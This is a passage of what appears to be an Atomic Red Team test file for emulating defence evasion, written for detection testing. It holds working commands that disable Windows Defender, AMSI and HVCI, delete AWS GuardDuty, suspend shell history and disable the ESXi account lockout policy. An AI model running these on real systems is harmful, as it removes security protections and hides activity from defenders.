The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.
Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.
A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.
This method will remove Defender and it's packages.
Reference: https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps
supported_platforms:
- windows
executor:
command: |-
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Gui" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Features" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-ApplicationGuard" -NoRestart -ErrorAction Ignore
name: powershell
elevation_required: true
- name: WMIC Tamper with Windows Defender Evade Scanning Folder
auto_generated_guid: 59d386fc-3a4b-41b8-850d-9e3eee24dfe4
description: |
The following Atomic will attempt to exclude a folder within Defender leveraging WMI
Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
supported_platforms:
- windows
executor:
command: |
wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"ATOMICREDTEAM\"
cleanup_command: |
wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Remove ExclusionPath=\"ATOMICREDTEAM\"
name: command_prompt
elevation_required: true
- name: Delete Windows Defender Scheduled Tasks
auto_generated_guid: 4b841aa1-0d05-4b32-bbe7-7564346e7c76
description: |
The following atomic test will delete the Windows Defender scheduled tasks.
[Reference](https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/)
supported_platforms:
- windows
dependencies:
- description: |
The Windows Defender scheduled tasks must be backed up first
prereq_command: |
IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( EXIT 0 ) ELSE ( EXIT 1 )
get_prereq_command: |
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" > "%temp%\Windows_Defender_Scheduled_Scan.xml"
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" > "%temp%\Windows_Defender_Cleanup.xml"
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" > "%temp%\Windows_Defender_Verification.xml"
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" > "%temp%\Windows_Defender_Cache_Maintenance.xml"
executor:
command: |
IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f )
IF EXIST "%temp%\Windows_Defender_Cleanup.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f )
IF EXIST "%temp%\Windows_Defender_Verification.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f )
IF EXIST "%temp%\Windows_Defender_Cache_Maintenance.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f )
cleanup_command: |
schtasks /create /xml "%temp%\Windows_Defender_Scheduled_Scan.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
schtasks /create /xml "%temp%\Windows_Defender_Cleanup.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
schtasks /create /xml "%temp%\Windows_Defender_Verification.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
schtasks /create /xml "%temp%\Windows_Defender_Cache_Maintenance.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
name: command_prompt
elevation_required: true
- name: Clear History
auto_generated_guid: 23b88394-091b-4968-a42d-fb8076992443
description: |
Clear Shell History. This technique only affect the bash shell application.
supported_platforms:
- linux
executor:
command: |
history -c
name: sh
elevation_required: true
- name: Suspend History
auto_generated_guid: 94f6a1c9-aae7-46a4-9083-2bb1f5768ec4
description: |
suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell
supported_platforms:
- linux
executor:
command: |
set +o history
cleanup_command: |
set -o history
name: sh
elevation_required: true
- name: Reboot Linux Host via Kernel System Request
auto_generated_guid: 6d6d3154-1a52-4d1a-9d51-92ab8148b32e
description: |
reboot system via system request seen in Awfulshred wiper.
supported_platforms:
- linux
executor:
command: |
echo 1> /proc/sys/kernel/sysrq
echo b> /proc/sysrq-trigger
name: sh
elevation_required: true
- name: Clear Pagging Cache
auto_generated_guid: f790927b-ea85-4a16-b7b2-7eb44176a510
description: |
clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part
of its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/
supported_platforms:
- linux
executor:
command: |
free && echo 3 > /proc/sys/vm/drop_caches && free
echo 3> /proc/sys/vm/drop_caches
name: sh
elevation_required: true
- name: Disable Memory Swap
auto_generated_guid: e74e4c63-6fde-4ad2-9ee8-21c3a1733114
description: |
disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional
payload to the compromised host and to make sure that there will be no recoverable data due to swap feature of FreeBSD/linux.
supported_platforms:
- linux
executor:
command: |
swapon -a
sleep 2
swapoff -a
sync
cleanup_command: |
swapon -a
sleep 2
sync
name: sh
elevation_required: true
- name: Disable Hypervisor-Enforced Code Integrity (HVCI)
auto_generated_guid: 70bd71e6-eba4-4e00-92f7-617911dbe020
description: |
This test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity "Enabled" value to "0".
The pre-req needs to be ran in order to setup HVCI and have it enabled.
We do not recommend running this in production.
[Black Lotus Campaign](https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/)
[Microsoft](https://learn.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity)
supported_platforms:
- windows
dependency_executor_name: powershell
dependencies:
- description: |
HVCI must be enabled
prereq_command: |
if (((cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" 2> nul | findstr EnableVirtualizationBasedSecurity 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" 2> nul | findstr RequirePlatformSecurityFeatures 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" 2> nul | findstr Locked 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" 2> nul | findstr Enabled 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" 2> nul | findstr Locked 2> nul"))) { exit 0 } else { exit 1 }
get_prereq_command: |
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /t REG_DWORD /d 0 /f
executor:
command: |
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 0 /f
cleanup_command: |
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /f
name: powershell
elevation_required: true
- name: AMSI Bypass - Override AMSI via COM
auto_generated_guid: 17538258-5699-4ff1-92d1-5ac9b0dc21f5
description: |
With administrative rights, an adversary can disable AMSI via registry value in HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} by overriding the Microsoft Defender COM object for AMSI and points it to a DLL that does not exist.
This is currently being used by AsyncRAT and others.
https://strontic.github.io/xcyclopedia/library/clsid_fdb00e52-a214-4aa1-8fba-4357bb0072ec.html
https://securitynews.sonicwall.com/xmlpost/asyncrat-variant-includes-cryptostealer-capabilites/
supported_platforms:
- windows
executor:
command: |
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
cleanup_command: |
REG DELETE HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /f
name: command_prompt
elevation_required: true
- name: AWS - GuardDuty Suspension or Deletion
auto_generated_guid: 11e65d8d-e7e4-470e-a3ff-82bc56ad938e
description: |
Enables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration.
supported_platforms:
- iaas:aws
input_arguments:
region:
description: Name of the specified region
type: string
default: us-east-1
dependency_executor_name: bash
dependencies:
- description: |
Check if ~/.aws/credentials file has a default stanza is configured
prereq_command: |
cat ~/.aws/credentials | grep "default"
get_prereq_command: |
echo "Please install the aws-cli and configure your AWS default profile using: aws configure"
executor:
command: |
detectorId=$(aws guardduty create-detector --enable --region "#{region}" | grep -oP '(?<="DetectorId": ")[^"]*')
aws guardduty update-detector --no-enable --detector-id $detectorId
aws guardduty delete-detector --detector-id $detectorId
cleanup_command: |
echo "If test successfully ran, no cleanup required."
name: bash
elevation_required: false
- name: Tamper with Defender ATP on Linux/MacOS
auto_generated_guid: 40074085-dbc8-492b-90a3-11bcfc52fda8
description: |
With root privileges, an adversary can disable real time protection. Note, this test assumes Defender is not in passive mode and real-time protection is enabled. The use of a managed.json on Linux or Defender .plist on MacOS will prevent these changes. Tamper protection will also prevent this (available on MacOS, but not Linux at the time of writing). Installation of MDATP is a prerequisite. Installation steps vary across MacOS and Linux distros. See Microsoft public documentation for instructions: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/mac-install-manually?view=o365-worldwide https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/linux-install-manually?view=o365-worldwide
supported_platforms:
- linux
- macos
executor:
command: |
sudo mdatp config real-time-protection --value disabled
cleanup_command: |
sudo mdatp config real-time-protection --value enabled
name: sh
elevation_required: true
- name: Tamper with Windows Defender Registry - Reg.exe
auto_generated_guid: 1f6743da-6ecc-4a93-b03f-dc357e4b313f
description: |
Disable Windows Defender by tampering with windows defender registry using the utility "reg.exe"
supported_platforms:
- windows
executor:
command: |
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v "DisallowExploitProtectionOverride" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\software\microsoft\windows defender\spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender" /v "PUAProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
cleanup_command: |
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v "DisallowExploitProtectionOverride" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\software\microsoft\windows defender\spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender" /v "PUAProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
name: command_prompt
elevation_required: true
- name: Tamper with Windows Defender Registry - Powershell
auto_generated_guid: a72cfef8-d252-48b3-b292-635d332625c3
description: |
Disable Windows Defender by tampering with windows defender registry through powershell
supported_platforms:
- windows
executor:
command: |
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIntrusionPreventionSystem" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRoutinelyTakingAction" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScriptScanning" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Reporting" -Name "DisableEnhancedNotifications" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "DisableBlockAtFirstSeen" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "SpynetReporting" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\MpEngine" -Name "MpEnablePus" -Value 0
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" -Name "DisallowExploitProtectionOverride" -Value 0
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection" -Value 0
Set-ItemProperty "HKLM:\software\microsoft\windows defender\spynet" -Name "SubmitSamplesConsent" -Value 0
Set-ItemProperty "HKLM:\Software\Microsoft\Windows Defender" -Name "PUAProtection" -Value 0
cleanup_command: |
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIntrusionPreventionSystem" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRoutinelyTakingAction" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScriptScanning" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Reporting" -Name "DisableEnhancedNotifications" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "DisableBlockAtFirstSeen" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "SpynetReporting" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\MpEngine" -Name "MpEnablePus" -Value 1
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" -Name "DisallowExploitProtectionOverride" -Value 1
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection" -Value 1
Set-ItemProperty "HKLM:\software\microsoft\windows defender\spynet" -Name "SubmitSamplesConsent" -Value 1
Set-ItemProperty "HKLM:\Software\Microsoft\Windows Defender" -Name "PUAProtection" -Value 1
name: powershell
elevation_required: true
- name: ESXi - Disable Account Lockout Policy via PowerCLI
auto_generated_guid: 091a6290-cd29-41cb-81ea-b12f133c66cb
description: |
An adversary may disable account lockout policy within ESXi to have the ability to prevent defensive actions from being enforced in the future or to prevent future alerting.
supported_platforms:
- linux
input_arguments:
vm_host:
description: Specify the host name of the ESXi Server
type: string
default: atomic.local
vm_user:
description: Specify the privilege user account on ESXi Server
type: string
default: root
vm_pass:
description: Specify the privilege user password on ESXi Server
type: string
default: pass
dependency_executor_name: powershell
dependencies:
- description: |
Check if VMWARE PowerCLI PowerShell Module is installed.
prereq_command: |
$RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailable
if (-not $RequiredModule) {exit 1}
get_prereq_command: |
Install-Module -Name VMware.PowerCLI -Confirm:$false
executor:
command: |
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false
Disconnect-VIServer -Confirm:$false
name: powershell
elevation_required: true
- name: Delete Microsoft Defender ASR Rules - InTune
auto_generated_guid: eea0a6c2-84e9-4e8c-a242-ac585d28d0d1
description: This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates an InTune-based rules deployment.
supported_platforms:
- windows
executor:
command: |-
$registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager"
if (-not (Test-Path $registryPath)) {
New-Item -Path $registryPath -Force
Write-Host "Registry key created: $registryPath"
}
$registryValueName = "ASRRules"
if (Test-Path "$registryPath\$registryValueName") {
Remove-ItemProperty -Path $registryPath -Name $registryValueName
Write-Host "Registry value deleted: $registryValueName"
} else {
New-ItemProperty -Path $registryPath -Name $registryValueName -PropertyType String -Value "36190899-1602-49e8-8b27-eb1d0a1ce869=1" -Force
Write-Host "Registry value created: $registryValueName"
}
Remove-ItemProperty -Path $registryPath -Name $registryValueName
Write-Host "Registry value deleted: $registryValueName"
name: powershell
elevation_required: true
- name: Delete Microsoft Defender ASR Rules - GPO
auto_generated_guid: 0e7b8a4b-2ca5-4743-a9f9-96051abb6e50
description: This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates a GPO-based rules deployment.
supported_platforms:
- windows
executor:
command: |-
$registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\Rules"
if (-not (Test-Path $registryPath)) {
New-Item -Path $registryPath -Force
Write-Host "Registry key created: $registryPath"
}
$newValueName = "36190899-1602-49e8-8b27-eb1d0a1ce869"
$newValueData = "1"
New-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force
Write-Host "Registry value created: $newValueName with data $newValueData"
Remove-ItemProperty -Path $registryPath -Name $newValueName
Write-Host "Registry value deleted: $newValueName"
name: powershell
elevation_required: true
- name: AMSI Bypass - Create AMSIEnable Reg Key
auto_generated_guid: 728eca7b-0444-4f6f-ac36-437e3d751dc0
description: |
Threat Actor could disable the AMSI function by adding a registry value name “AmsiEnable” to the registry key “HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable” and set its value to 0.
Ref: https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d
supported_platforms:
- windows
executor:
command: |
New-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0 -PropertyType DWORD -Force | Out-Null
cleanup_command: |
Remove-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Recurse -Force 2> $null
name: powershell
elevation_required: true
Reference in New Issue View Git Blame Copy Permalink